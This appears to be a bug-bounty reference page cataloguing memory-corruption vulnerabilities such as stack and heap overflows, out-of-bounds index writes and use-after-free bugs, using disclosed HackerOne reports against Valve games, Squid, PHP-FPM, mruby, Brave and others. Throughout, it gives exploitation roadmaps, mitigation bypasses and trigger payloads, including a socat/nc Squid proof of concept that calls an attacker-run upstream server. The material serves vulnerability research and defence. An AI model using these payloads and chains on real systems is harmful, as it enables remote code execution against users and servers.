⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Memory Corruption
Vulnerabilities

Memory Corruption

Specimens 324No direct PortSwigger lab

Β§Basic information

Memory corruption is what happens when a native C/C++ program β€” a game engine, a kernel, a TLS library, a media codec, a filesystem parser β€” reads or writes outside the bounds of an object, or touches an object after it was freed. Because these programs manage their own memory, attacker bytes that land on the wrong side of a boundary can overwrite a saved return address, a function pointer, or a C++ vtable, and that overwrite is arbitrary code execution β€” usually as the logged-in user, often as root/kernel.

Unlike web bugs, you don't send a payload at a URL. You stand up a hostile counterparty β€” a malicious server, a peer on the same voice relay, a crafted asset the client auto-downloads, a USB filesystem β€” and drive it against a native parser that trusts a length, an index, or a pointer it shouldn't. The whole game is finding one place where attacker-controlled size/index/lifetime meets a fixed buffer or a stale pointer, then turning that primitive into control of the instruction pointer.

Β§Methodology

  1. Pick the trust boundary. Where do attacker bytes enter native code? Wire messages, file-format parsers loaded on connect/map-load, syscall/socket paths reachable from a sandbox, USB/physical formats.
  2. Build with sanitizers. Rebuild the client/library with ASAN+UBSan so a boundary violation crashes loudly with a report instead of silently corrupting.
  3. Grep for the sink shapes (below) before you fuzz β€” a wire length into a fixed buffer, a signed index into a global table, a 64β†’32 narrowing at an allocation, an asymmetric free/refcount pair.
  4. Drive the hostile counterparty. Mutate the field/asset and feed it. A crash where the saved return address equals your filler (EIP=0x41414102) confirms stack control; an ASAN heap-buffer-overflow/use-after-free confirms a heap/UAF primitive.
  5. Classify the primitive β€” stack BOF, OOB index write-what-where, heap overflow, UAF/double-free, integer truncation, or infoleak β€” because the road to RCE differs per primitive.
  6. Weaponize: find the unlock (a non-ASLR module, a deterministic global, a controllable staging buffer, or an infoleak) and chain to ROP / a controlled reclaim.
# Rebuild instrumented, then drive a hostile server/peer against it CFLAGS="-fsanitize=address,undefined -g -O1" make # example: PuTTY built with ASAN vs a malicious SSH-1 server -> instant heap overflow (#630462) ./ssh-keygen -t rsa1 -b 248 -f /tmp/ssh_host_rsa1_key # undersized key length plink -1 -P 39000 root@localhost # ASAN: heap-buffer-overflow WRITE size 1
# Grep the source for the recurring vulnerable sink shapes grep -RnE 'ReadBits|ReadBytes|memcpy|strcpy|sprintf|bcopy' src/ | grep -Ev 'sizeof|_s\(' # len into fixed buf grep -RnE '\[[a-z_]*(iId|idx|index)\]' src/ # signed/unbounded index addressing a global table grep -RnE '\(int\).*(len|size|Length)' src/ # 64->32 narrowing: alloc truncated, copy full (#1340942) grep -RnE 'free\(|fdrop\(|_put\(|Release\(' src/ # diff add-path vs remove-path pairing (#3320669)
β–Έ TIP
The single highest-value grep is the upper bound on a wire-supplied index. Many $3k–$10k bugs here were already lower-bounded (idx >= 0) but never upper-bounded (#807772, #513154, #876719). Check the sign and the ceiling of every index that reaches an array.

Β§Corruption primitives

Find which primitive your crash gives you, then take the matching road to instruction-pointer control.

Stack buffer overflow β†’ ROP

A wire-supplied or file-supplied length is copied into a fixed stack array with no bound, overwriting the saved return address. Fill past the return address, then chain gadgets. The unlock is a non-ASLR module or a constrained charset.

# #470520 Steam A2S_PLAYER: over-long player name in a UDP server-query reply, wide-char converted player_name = u"䅁" * 1100 # UTF-16 code units land as 0x41 0x41 on the stack, no canary # constraints: no 0x00xx (string terminator), no code units the lib maps to '?' (0x003F) # ROP built entirely from Steam.exe gadgets: VirtualProtect(stack, RWX) -> jmp unicode shellcode
# #733267 Portal 2 voice: wire length read straight into a fixed stack buffer # char voiceDataBuffer[4096]; # msg->m_DataIn.ReadBits(voiceDataBuffer, msg->m_nLength); // no bound on m_nLength # #542180 L4D2 .nav: EIP=0x41414102; binkw32.dll ships WITHOUT ASLR -> plain ROP, no infoleak

Signed / unbounded index β†’ write-what-where

A signed or unbounded index read from the wire is used to address a statically-allocated global table. Because the table's address is deterministic, you get a write-what-where with no ASLR leak β€” overwrite a function pointer and wait for it to be called.

// #513154 CS 1.6 WeaponList: iId is a signed char (-128..127) void AddWeapon(WEAPON *wp){ rgWeapons[wp->iId] = *wp; } // negative iId reaches gEngfuncs fn table // overwrite HUD_DirectorMessage fn ptr -> next SendCmd calls your gadget -> ROP // #807772 Source msgs: ent_idx checked >= 0 but NOT upper-bounded // entitylist[ent_idx<<4] with a large positive idx wraps to a negative offset -> attacker-chosen ptr // stage a fake C++ object (vtable+ROP) in the global g_szMenuString[512] via ShowMenu, // pick ent_idx so entitylist[idx] resolves to it -> virtual call -> EIP

Heap overflow β†’ controlled reclaim

An attacker length overruns a heap allocation into an adjacent object. The classic setup is an integer truncation between the allocation size and the copy size, or a codec/decoder loop that checks room once and writes many frames.

# #1340942 exFAT up-case table: dataLength 0x100000200 passed to a 32-bit size arg # size truncates 64->32 to 0x200 -> tiny malloc, but the read copies the FULL 0x100000200 bytes # overflow adjacent kernel objects (spray struct usb_endpoint) -> kernel code exec / jailbreak # #1180252 Steam SILK decoder: outer check guarantees room for ONE frame, # inner do/while keeps writing while moreInternalDecoderFrames is set -> output overrun

Use-after-free / double-free β†’ hijacked object

A struct holding a pointer used for later I/O is freed (often via a race, or a free/refcount path that runs twice), then the freed slot is reclaimed with an attacker-controlled object.

# #826026 PS4 setsockopt: race two threads on IPV6_2292PKTOPTIONS -> free struct ip6_pktopts in use # reclaim the freed slot with a heap spray controlling ip6po_pktinfo -> arbitrary kernel R/W # #3320669 netcontrol clear-queue drops the netevent ref AND the getsock_cap ref for a mismatched fd # -> double fdrop -> socket UAF. #943231: IP6_EXTHDR_CHECK frees the mbuf, callers don't re-sync *mp
β–² WARNING
A crash is not exploitability. A read-only OOB read, a null-deref, or an overflow into a guard page may be a DoS, not RCE. Prove control: the saved return address equals your filler, the freed slot is reclaimable with a controlled object, or the corrupted index lands on a pointer you dereference. Otherwise report it honestly as a crash/DoS.

Β§Bypasses

Real mitigation and constraint bypasses from the corpus, each tagged with the report it came from.

Filter / controlBypassSeen in
ASLR (no infoleak)anchor the ROP chain on a legacy non-ASLR DLL (binkw32.dll) shipped beside the modern binary#542180
ASLR (mass)9-bit ASLR β†’ ~1/512 brute force makes mass exploitation viable#470520
ASLR (persistent proc)master process never exits β†’ read /proc/self/maps, restarts survive#520903
ASLR (infoleak)punycode stack over-read leaks canary/base to defeat ASLR#2604391
Null-byte / charset limitunicode-only ROP avoiding 0x00 terminators and lib '?' (0x3F) substitution#470520
Stack canarywide-char copy with no canary overwrites the saved return address directly#470520
SMAPfault path forgets clac, leaving RFLAGS.AC set β†’ SMAP off past the copy#1048322
Sandbox capabilitySOCK_RAW (normally root-only) openable from WebKit turns a root path remote#943231
Delivery filterengine's own missing-file auto-download ships the malicious asset to the client#397545
Old-CVE survival15-year-old FreeBSD PPPoE CVE-2006-4304 still live in a console kernel#2177925
● NOTE
The most reliable unlock across this corpus is one non-ASLR / non-PIE module shipped beside a modern binary, or a deterministic global (gEngfuncs, g_szMenuString, a static table). Either lets you skip the infoleak entirely β€” hunt for them before you build a two-bug leak+exec chain.

Β§Escalation & impact

Memory corruption is the top of most chains β€” it converts into full code execution and then pivots by trust boundary:

Β§Prevention

Detection cheatsheet β€” crash signatures and what they mean
  • EIP=0x41414102 / text=0x41414141 in the crash frame β†’ saved return address controlled (stack BOF, #542180, #402566).
  • ASAN heap-buffer-overflow WRITE at a key/length read path β†’ heap overflow from a trusted length (#630462, #824771).
  • ASAN heap-use-after-free / attempting double-free β†’ UAF/double-free, look for a race or asymmetric free (#826026, #3320669, #2559516).
  • Crash writing at base + (idx<<n) with a huge/negative idx β†’ OOB index write-what-where (#807772, #513154).
  • A CONF-REJ/echo reply returning adjacent bytes (pointers) β†’ overread infoleak alongside the overflow (#2177925).

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 324 in this class.

Real-world example

Stack BOF in Steam server-browser A2S_PLAYER name -> unicode ROP RCE

β—† Critical
Specimen #470520 Β· valve Β· awarded Β· 1287 votes Β· resolved
Program valveSurface desktopChain malicious web page -> hidden iframe steam:// -> A2S_PL

Root cause

An over-long player name in the A2S_PLAYER server-query UDP response is copied into a fixed stack buffer during wide-char (unicode) conversion with no bounds check and no stack canary, overwriting the return address.

Method

  1. Run a rogue UDP server on 27015 that speaks the Valve server-query protocol
  2. Reply to A2S_PLAYER with a huge player name; unicode chars become wide-char so each 2-byte pair controls 4 stack bytes
  3. Build a unicode-safe ROP chain from Steam.exe gadgets calling VirtualProtect then jump to unicode-compatible shellcode
  4. Trigger by luring victim to a page with a hidden iframe using a steam:// URL, or via View server info
# A2S_PLAYER reply with player name = u"\u4141"*1100 -> stack fills with 0x41414141 # constraints: no 0x00xx bytes (string terminator), no chars the lib maps to '?' (0x003F) # ROP built entirely from Steam.exe -> VirtualProtect(stack,RWX) -> jmp unicode shellcode (cmd.exe)

Insight β€” URL-protocol handlers (steam://) let a web page reach a native UDP/parsing bug remotely with zero clicks. Wide-char conversion doubles attacker control over the stack but forbids null and non-mappable code units β€” plan the ROP in the unicode charset.

Real-world example

L4D2 NAV navmesh file parser stack overflow -> EIP control

β—† Critical
Specimen #542180 Β· valve Β· 10000 Β· 268 votes Β· resolved
Program valveSurface desktopChain malicious server / workshop map -> NAV parse overflow -&gTag file-upload

Root cause

The NAV (navigation mesh) file parser copies attacker-controlled data into a stack buffer without bounds checks; loading a malformed .nav overwrites the saved return address (EIP=0x41414102).

Method

  1. Craft a malformed c1m1_hotel.nav
  2. Place in Left 4 Dead 2/left4dead2/maps and run map c1m1_hotel (or deliver via fake server / Steam Workshop campaign)
  3. EIP becomes attacker-controlled; because binkw32.dll ships without ASLR, a plain ROP chain works with no infoleak
# malformed .nav whose section counts/sizes overflow the parse stack buffer -> ROP via non-ASLR binkw32.dll

Insight β€” Look for one non-ASLR/non-PIE module shipped alongside a modern binary (here binkw32.dll) β€” it turns a bug that would need an infoleak into a one-shot ROP. Map/level asset formats parsed on load are prime remote surfaces via workshop content or fake servers.

Real-world example

CS 1.6 WeaponList msg: attacker-controlled array index write (rgWeapons[iId])

β—† Critical
Specimen #513154 Β· valve Β· 3000 Β· 229 votes Β· resolved
Program valveSurface desktopChain malicious server -> WeaponList index write -> overwrit

Root cause

MsgFunc_WeaponList reads iId as a signed CHAR (range -128..127) and AddWeapon writes rgWeapons[wp->iId] = *wp with no bounds check, giving a server-controlled negative/positive index write into the data section.

Method

  1. From a malicious server send a crafted WeaponList user message with an out-of-range iId
  2. Use the index to overwrite a function pointer inside the gEngfuncs engine function table
  3. Point it at a ROP gadget; trigger the chain via the next SendCmd / HUD_DirectorMessage
// vulnerable sink: // void AddWeapon(WEAPON *wp){ rgWeapons[wp->iId] = *wp; LoadWeaponSprites(&rgWeapons[wp->iId]); } // iId is signed char -> negative index reaches gEngfuncs; overwrite HUD_DirectorMessage fn ptr -> ROP

Insight β€” A signed index read from the wire + array write = arbitrary relative write. Always check the sign and bounds of any wire-supplied index used to address a global/static array; the write target is deterministic (statically-allocated table) so no ASLR leak is needed for the write itself.

Real-world example

Source-engine network messages: missing upper-bound on entity index -> OOB vfunc -> RCE

β—† Critical
Specimen #807772 Β· valve Β· 7500 Β· 219 votes Β· resolved
Program valveSurface desktopChain ShowMenu stages fake object -> OOB entity index -> vir

Root cause

Many Source user-messages (e.g. GlowPropTurnOff, EntityMsg) check ent_idx >= 0 but not the upper bound; entitylist[ent_idx<<4] with a large positive index wraps to a negative offset, returning an attacker-chosen pointer on which a virtual function is then called.

Method

  1. Use the ShowMenu message to plant a fully controlled fake object (with vtable + ROP) into the global wchar_t g_szMenuString[512]
  2. Compute an entity index that makes entitylist[idx] resolve to that buffer
  3. Send GlowPropTurnOff/EntityMsg with that index; the virtual call on the fake object pivots into the ROP chain
# ShowMenu: menu_string -> UTF16 -> g_szMenuString[512] (fake object + vtable + ROP) # GlowPropTurnOff: ent_index chosen so (ent_index<<4) wraps entitylist ptr to g_szMenuString # handle->GetBaseEntity() (virtual) -> attacker-controlled EIP

Insight β€” When a signed index is bounds-checked only on the low side, a large positive value shifted left overflows to negative and indexes arbitrary module memory. Pair an OOB-index-to-vptr bug with a controllable global string buffer (ShowMenu) to stage a fake C++ object.

Real-world example

Steam SILK voice decoder output-buffer overrun (moreInternalDecoderFrames)

β—† Critical
Specimen #1180252 Β· valve Β· 7500 Β· 195 votes Β· resolved
Program valveSurface desktopChain voice packet peer->peer -> SILK decode inner-loop over

Root cause

VoiceEncoder_SILK::Decode bounds-checks the destination for one frame, but the inner do/while keeps decoding while m_decControl.moreInternalDecoderFrames is set and advances pDestCurr past pDestEnd without re-checking, overrunning the output buffer.

Method

  1. Reach DecompressVoice() via a Steam/Source voice packet you send to a peer
  2. Supply SILK payload frames that make the decoder set moreInternalDecoderFrames so the inner loop iterates past the single-frame room check
  3. Overwrite stack/adjacent memory after pDestEnd
# voice packet: [8B steamid][1B type=SILK][2B size]<silk frames>[4B CRC] # per-frame nSize loop; the pre-check guarantees room for ONE frame only, inner do/while writes many

Insight β€” Audit codec loops where the size check is outside an inner decode loop: 'room for one frame' checked once, then multiple frames written. Shared media/voice SDKs (used by many titles) turn one decoder bug into a wide blast radius.

Real-world example

Portal 2 voice packet stack overflow (unvalidated ReadBits length)

β—† Critical
Specimen #733267 Β· valve Β· 5000 Β· 173 votes Β· resolved
Program valveSurface desktopChain attacker voice packet -> server relay -> victim Proces

Root cause

CGameClient::ProcessVoiceData reads msg->m_nLength bits into a fixed char voiceDataBuffer[4096] with no length validation, so an oversized CLC_VoiceData packet overflows the stack.

Method

  1. Join a game with the victim (peer voice relay)
  2. Send a CLC_VoiceData message with m_nLength larger than 4096 bytes worth of bits
  3. ReadBits overflows the 4096-byte stack buffer -> code execution
// bool CGameClient::ProcessVoiceData(CLC_VoiceData *msg){ // char voiceDataBuffer[4096]; // msg->m_DataIn.ReadBits(voiceDataBuffer, msg->m_nLength); // no bound on m_nLength // }

Insight β€” Voice/data-relay handlers copy attacker-sized wire lengths into fixed stack buffers. The client->server->client relay means one player can RCE another. Grep engine code for ReadBits/ReadBytes into fixed arrays with a wire-supplied length.

Real-world example

Source closed-captions SplitCommand stack overflow (cmd/args[256])

β—† Critical
Specimen #463286 Β· valve Β· 7500 Β· 109 votes Β· resolved
Program valveSurface desktopChain malicious captions asset -> SplitCommand tokenizer overflTag file-upload

Root cause

CHudCloseCaption::SplitCommand copies a '<...>' caption command into fixed wchar_t cmd[256]/args[256] via *out++ = *in++ with no bound; a crafted closed-captions file (reachable through GetNoRepeatValue) overflows the stack.

Method

  1. Deliver a malformed captions file to the client
  2. Parsing calls GetNoRepeatValue -> SplitCommand which copies an over-long <command> token into cmd[256]
  3. Stack overflow -> RCE
// while(*in && *in!=':' && *in!='>' && !isspace(*in)) *out++ = *in++; // out=cmd[256], no bound // caption: <AAAAAA...(>256 wchars)...:x> overflows cmd

Insight β€” Tokenizers that copy until a delimiter into a fixed buffer overflow when the delimiter is simply omitted/pushed out of range. Localization/caption/subtitle parsers are overlooked asset surfaces.

Real-world example

CS:GO SplitScreen OOB + case-sensitive Content-Length infoleak -> reliable RCE chain

β—† Critical
Specimen #1070835 Β· valve Β· 7500 Β· 66 votes Β· resolved
Program valveSurface desktopChain HTTP Content-Length differential infoleak -> defeat ASLR

Root cause

Two bugs chained: an OOB access in CSVCMsg_SplitScreen gives RIP control, and CS:GO's HTTP map downloader only honors the first case-sensitive Content-Length header while curl honors a second lowercase content-length, causing an over-read that leaks memory to defeat ASLR.

Method

  1. Run a malicious server hosting custom map files over HTTP
  2. Send duplicate headers: `Content-Length: 1337` then `content-length: 0`; client allocates by the first, curl writes by the second -> buffer/heap desync leaks pointers
  3. Use the leak to compute base addresses, then trigger CSVCMsg_SplitScreen OOB for RIP control + ROP
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 1337 content-length: 0 Connection: closed

Insight β€” Header parser disagreements (app does case-sensitive match, curl is case-insensitive) create length desyncs that leak memory β€” a request-smuggling-style parser differential used for an infoleak. Combine an infoleak bug with a control-flow bug for a 100%-reliable exploit instead of ASLR brute force.

Real-world example

32-bit size arithmetic overflow on 64-bit β†’ undersized malloc β†’ heap overflow

β—† Critical
Specimen #424447 Β· ibb (Perl) Β· awarded Β· 52 votes Β· resolved
Program ibb (Perl)Surface other

Root cause

Perl_my_setenv computes malloc size as (nlen + vlen + 2) using 32-bit ints for attacker-controlled string lengths; on 64-bit two ~2GB strings overflow the int, allocating a chunk far smaller than the following memcpy of nlen+vlen bytes.

Method

  1. Call setenv-equivalent with a very long name and value (e.g. ~2147483647 bytes each)
  2. nlen+vlen+2 overflows the 32-bit int used for the allocation size
  3. safesysmalloc returns a too-small chunk; the subsequent memcpy of the full name then value overflows the heap
$ENV{ 'A' x 2147483647 } = 'B' x 2147483647; # nlen+vlen+2 wraps a 32-bit int

Insight β€” Any allocation size that is a sum/product of attacker-influenced lengths held in int/32-bit types is an integer-overflow candidate even on 64-bit builds. The copy uses the full 64-bit lengths, but the alloc used the truncated width.

Real-world example

Missing bounds check β†’ single-byte OOB write underflow β†’ RCE

β—† Critical
Specimen #722327 Β· ibb (PHP-FPM) Β· USD 1500 Β· 42 votes Β· resolved
Program ibb (PHP-FPM)Surface webChain encoded newline β†’ broken split_pathinfo β†’ empty PATH_INFO β†’

Root cause

fpm_main.c computes path_info from PATH_INFO without checking it is non-empty; an empty PATH_INFO makes a pointer underflow, yielding a one-byte out-of-bounds write that is leveraged (via FCGI record/env layout grooming) into remote code execution. Reachable through Nginx configs where fastcgi_split_pathinfo regex can be broken with an encoded newline.

Method

  1. Find Nginx+php-fpm with fastcgi_split_pathinfo and try to send empty PATH_INFO by breaking the regex with %0a
  2. The empty PATH_INFO underflows path_info β†’ single-byte OOB write in php-fpm
  3. Groom FastCGI env to convert the 1-byte write into code exec (see phuip-fpizdam exploit)
GET /index.php%0a... # newline breaks fastcgi_split_pathinfo regex β†’ empty PATH_INFO to php-fpm # exploit: https://github.com/neex/phuip-fpizdam

Insight β€” A 1-byte OOB write next to structured data (here FastCGI env records) is often enough for RCE via careful grooming. The bug is in php-fpm but exploitability hinges on the front-end (Nginx) regex letting an empty variable through β€” audit the whole request path, not just the vulnerable function.

Real-world example

Scripting-sandbox type confusion by redefining exception classes

β—† Critical
Specimen #185041 Β· shopify-scripts Β· awarded Β· 40 votes Β· resolved
Program shopify-scriptsSurface otherChain type confusion -> memory corruption -> potential arbit

Root cause

In the mruby (Ruby) sandbox, exception-class references used by mrb_raise are looked up dynamically (E_*_ERROR macros / constants). User script can redefine or override them so the raise path receives a non-exception object, causing type confusion in native code -> memory corruption / potential RCE.

Method

  1. Run attacker Ruby under the sandboxed script engine
  2. Redefine an exception constant (or override singleton .new) so it no longer yields an exception object
  3. Trigger a native code path that raises that exception -> engine dereferences a wrong-type object and crashes
# override so mrb_raise gets a non-exception object NotImplementedError = String Module.constants # native mrb_raise(mrb, E_NOTIMP_ERROR, ...) -> type confusion # variant (#181871): override the singleton allocator NoMethodError.define_singleton_method(:new) do "waat" end Object.q # calling missing method -> native crash

Insight β€” When auditing embedded scripting sandboxes (mruby, Lua, JS engines), test whether host/native error paths resolve type-critical symbols dynamically from the guest namespace. If the guest can shadow exception/base classes or allocator methods, native error-raising becomes a type-confusion primitive.

Real-world example

base::Unretained on renderer object outlived by its child property β†’ UAF

β—† Critical
Specimen #1977252 Β· brave Β· USD 3000 Β· 38 votes Β· resolved
Program braveSurface other

Root cause

JSEthereumProvider::Install binds a JS callback (isUnlocked) with base::Unretained(provider.get()) and attaches it under ethereum._metamask, wrongly assuming _metamask cannot outlive ethereum; JS can keep a reference to _metamask, delete ethereum (freeing provider), then invoke the callback on the dangling pointer.

Method

  1. From the wallet-injected page, save uafObj = ethereum._metamask
  2. delete ethereum; // frees the JSEthereumProvider backing provider.get()
  3. Force GC, then call uafObj.isUnlocked() β†’ callback runs on freed provider (UAF, renderer crash / RCE primitive)
let uafObj = ethereum._metamask; delete ethereum; for(let i=0;i<100;i++){let a=new Array(1000000);} console.log(await uafObj.isUnlocked());

Insight β€” In Chromium/Gin bindings, base::Unretained is a UAF landmine whenever a JS-reachable child object can retain a raw pointer to a parent that JS can independently free; audit CreateFunctionTemplate/BindRepeating(Unretained(x)) where x's lifetime is a sibling/parent of the exposed object. Prefer WeakPtr.

Real-world example

Type confusion in a sandboxed scripting engine via built-in class redefinition

β—† Critical
Specimen #185051 Β· shopify-scripts Β· awarded Β· 35 votes Β· resolved
Program shopify-scriptsSurface other

Root cause

In Shopify's mruby-engine sandbox, a native function (wrap_decimal) looks up the Decimal class by name at runtime. Redefining Decimal (Decimal = Hash) makes the native code operate on an object of the wrong type - a type confusion leading to memory corruption / potential ACE inside the sandbox.

Method

  1. Redefine the built-in Decimal constant to another class
  2. Perform an operation that triggers the native wrap_decimal path (e.g. unary minus on an old Decimal instance)
  3. Observe native crash / memory corruption
olddecimal = Decimal.new(1) Decimal = Hash a = -olddecimal puts a

Insight β€” In embedded/sandboxed interpreters (mruby, Lua, JS engines), native functions that resolve a class/type by name and assume its layout are type-confusion bugs: redefine or shadow the expected type so the C side casts a mismatched object. Hunt for native methods that fetch a constant then cast without a type check.

Real-world example

Signed protobuf index not lower-bounded β†’ negative array index OOB write β†’ RCE

β—† Critical
Specimen #876719 Β· valve Β· USD 7500 Β· 35 votes Β· resolved
Program valveSurface desktopChain OOB write β†’ info leak (module base, ASLR bypass) β†’ OOB write

Root cause

The CSVCMsg_ClassInfo handler indexes a freshly-allocated ClassInfo array by src->class_id but only checks class_id >= nClasses (upper bound), not class_id >= 0; a negative class_id yields pClasses[negative], an out-of-bounds write used for ASLR bypass + ROP β†’ RCE. Affects all Source/Source2 protobuf-message games (CS:GO, Dota 2).

Method

  1. Send a CSVCMsg_ClassInfo network message with a class_t whose class_id is negative
  2. Handler passes the upper-bound check (class_id < nClasses) but not a lower bound β†’ &pClasses[class_id] is before the array
  3. Use the OOB write first to leak client_panorama.dll base (ASLR bypass), then to divert control flow to a ROP chain β†’ RCE
CSVCMsg_ClassInfo { classes { class_id: -N, data_table_name: ..., class_name: ... } } # negative index

Insight β€” Any index derived from a signed protobuf/int field needs BOTH bounds checked (>=0 and <len); an upper-only check is the classic signedness OOB. Protobuf/network message handlers that allocate N then index by a message field are prime targets across a game engine family.

Real-world example

Regex compiler/matcher bugs: octal>0xff OOB write, uninit var index, bad dmin/dmax deref

β—† Critical
Specimen #237915 Β· ibb (PHP/Oniguruma) Β· USD 1500 Β· 35 votes Β· resolved
Program ibb (PHP/Oniguruma)Surface other

Root cause

Multiple classes of memory corruption in the Oniguruma regex engine (used by PHP mbstring and Ruby): octal escapes >0xff mishandled in fetch_token produce out-of-range code points causing OOB write in next_state_val; an incorrect state transition in parse_char_class leaves a variable uninitialized then used as an index (OOB write); invalid reg->dmin/dmax in forward_search_range cause invalid pointer derefs.

Method

  1. Reach a regex API that compiles/matches an attacker-supplied pattern (mb_ereg / preg with Oniguruma, network-exposed filters)
  2. Supply patterns hitting each bug: an octal like \700 (>0xff), a char-class construct forcing the uninitialized-var path, or one driving bad dmin/dmax
  3. Trigger heap/stack OOB write or invalid deref during compilation or search
\700 # octal > 0xff -> OOB write in next_state_val (CVE-2017-9226) [crafted char class] # uninitialized bitset_set_range index -> OOB write (CVE-2017-9228)

Insight β€” When an app compiles user-controlled regular expressions, the regex engine itself is the memory-corruption surface β€” not just ReDoS. Malformed patterns (out-of-range octal, degenerate char classes, empty ranges) reach uninitialized-index and bad-bound code paths. Fuzz the pattern compiler, not only the subject string.

Real-world example

mruby UAF via type-coercion callback shrinking the array (sandbox escape)

β—† Critical
Specimen #181321 Β· shopify-scripts Β· awarded Β· 29 votes Β· resolved
Program shopify-scriptsSurface other

Root cause

mrb_ary_to_h iterates an array and calls each element's user-defined to_ary during conversion, but re-reads array elements without rechecking length; a malicious to_ary that clears/neuters the array frees the backing buffer, so the loop reads out-of-bounds (UAF) and can be steered to a controlled write for RCE.

Method

  1. Define a class whose to_ary clears the global array being iterated and returns a non-array
  2. Put an instance into a global array and call to_h on it
  3. The freed/nulled buffer is dereferenced -> crash / controllable memory access
class A def to_ary $a.clear # frees backing buffer mid-iteration nil end end $a = [A.new] $a.to_h

Insight β€” In scripting-engine sandboxes (mruby/Ruby), any native operation that iterates a collection while invoking user-overridable coercion methods (to_ary/to_i/to_s) is a reentrancy bug: the callback can free/resize/realloc the buffer the native code still holds, giving UAF/OOB. Audit every mrb_get_args / mrb_check_*_type call site.

Real-world example

Squid URN reply heap overflow via wrong remaining-length (CVE-2019-12526)

β—† Critical
Specimen #824771 Β· ibb Β· awarded Β· 29 votes Β· resolved
Program ibbSurface networkChain attacker upstream response -> heap overflow of urnState -

Root cause

When Squid handles a URN request it buffers the upstream reply into urnState->reqbuf (URN_REQBUF_SZ=4096). On repeated storeClientCopy calls the tempBuffer.length is set to the FULL buffer size instead of the remaining space (URN_REQBUF_SZ - reqofs), so an attacker-controlled upstream response overflows the heap-allocated urnState.

Method

  1. Configure Squid to permit URN (acl Safe_ports port 0)
  2. Stand up an attacker HTTP server that returns >4096 bytes of data
  3. Send `GET urn::@<attacker>:port/ HTTP/1.1` to Squid:3128
  4. Reply is copied a second time with length=URN_REQBUF_SZ rather than remaining -> heap overflow (ASAN: WRITE size 81 past 4184-byte region)
socat TCP-LISTEN:8080,fork SYSTEM:"python -c 'print(\"A\" * 4096)'" echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" | nc <squid> 3128

Insight β€” Classic bug pattern: an incremental read reuses the buffer's TOTAL capacity as the copy length on each pass instead of (capacity - current_offset). Audit any read loop that copies into buf+offset but passes sizeof(buf)/CAP as the length. Overflowing a buffer embedded inside a struct also corrupts a following pointer (urlres) that is later free()d -> arbitrary-free / UAF primitive; place a vtable pointer after the object for control of RIP.

Real-world example

GoldSrc DELTA_ParseDelta network stack overflow -> ROP RCE on client

β—† Critical
Specimen #484745 Β· valve Β· 3000 Β· 26 votes Β· resolved
Program valveSurface desktopChain malicious server -> svc_deltadescription + svc_event ->Tag account-takeover

Root cause

A malicious game server sends a svc_deltadescription packet defining structure field descriptors (type, offset, size), then delta packets. DELTA_ParseDelta writes each field at attacker-supplied field_offset without checking field_offset+field_size against the target stack struct bounds, giving a controlled stack overflow.

Method

  1. Malicious server sends svc_deltadescription describing event_t layout with a field at offset 0xac (the ParseEvent return address)
  2. Server sends svc_event; ParseEvent allocates event_t on the stack and DELTA_ParseDelta fills it from the delta, overflowing into the saved return address
  3. String fields copy until NUL, so extra Integer-typed fields are placed to write bytes containing zeros into the payload
  4. Client connects to 127.0.0.1 running poc.py and the ROP chain pops xcalc
# field-descriptor layout that overwrites ParseEvent return address payload: {type=String, offset=0xac} # 0xac = offset of return addr in ParseEvent int1: {type=Integer, offset=0xac + <int1 off>} # Integer fields inject bytes with >=2 zeros ... intn: {type=Integer, offset=0xac + <intn off>} # NX enabled -> ROP: strncpy-build "/usr/bin/xcalc"+"DISPLAY=:0" in .bss, # Sys_LoadModule("hw.so") to leak its base, then execve via int 0x80 gadget in hw.so

Insight β€” When a protocol lets the peer describe how to deserialize a structure (field type/offset/size table), the offset/size are an attacker-controlled write primitive. Always look for delta/diff/patch protocols that fill fixed structs from wire-supplied offsets without re-validating them against the destination size. Fixed-address main module (no ASLR) supplies ROP gadgets even when other libs are randomized.

Real-world example

MK8DX tournament metadata ChunkData parser overflow (unvalidated TLV length)

β—† Critical
Specimen #1688309 Β· nintendo Β· awarded Β· 23 votes Β· resolved
Program nintendoSurface otherChain create competition (aux bug) -> malicious ChunkData metad

Root cause

Mario Kart 8 Deluxe parses a tournament's 'metadata' field (ChunkData TLV: magic 0x5a5a, then {u8 id, u16 length, data}). ChunkDataAccessor::parse() reads `length` from the stream and readMemBlock's that many bytes into a fixed tmpBuffer (0x400) without validating length, so an oversized chunk overwrites class members with (mostly server-bounded) data and crashes the process.

Method

  1. Create/inject a competition whose metadata ChunkData contains a chunk with length larger than the 0x400 temp buffer
  2. Victim opens the Tournament menu; CompetitionInfo::extractUniqueAppData_ resets accessor over the 0x200 metadata and parses
  3. parse() readMemBlock(tmpBuffer, length) with unvalidated length overruns tmpBuffer -> corrupts members -> crash / null-deref
ChunkData = u16 magic(0x5a5a) || ChunkDataList[] || u8 end(0xff) ChunkDataList = u8 id || u16 length || data[length] // vuln: readStream.readMemBlock(this->tmpBuffer /*0x400*/, length); // length not checked

Insight β€” TLV parsers that trust the embedded length field before copying are a reliable memory-corruption source. Even when a server enforces a transport size cap (0x200 here), a client-side buffer smaller/mismatched relative to that cap (or a second larger 0x400 path) still overflows. Always compare the parser's local buffer size against the maximum the length field can express, not against the transport limit.

Real-world example

Squid reverse-proxy Host-header stack buffer overflow (RCE)

β—† Critical
Specimen #778610 Β· ibb Β· awarded Β· 17 votes Β· resolved
Program ibbSurface network

Root cause

When Squid runs as a reverse proxy (accel/vhost/vport), parsing the Host header writes into a stack buffer via an overflowing subtraction, allowing a write past the buffer with attacker bytes; fixed in Squid 4.10.

Method

  1. Build Squid <=4.8 without -fstack-protector and configure it as a basic accelerator (accel defaultsite vhost vport)
  2. Send a request whose Host header is a very long string
  3. Squid aborts: 'buffer overflow detected'; a specific length instead leaks uninitialized bytes after the buffer
echo -en "GET / HTTP/1.1\x0D\x0AHost: xxxxxxxx...(long)...xxxx:\x0D\x0A\x0D\x0A" | nc localhost 9999

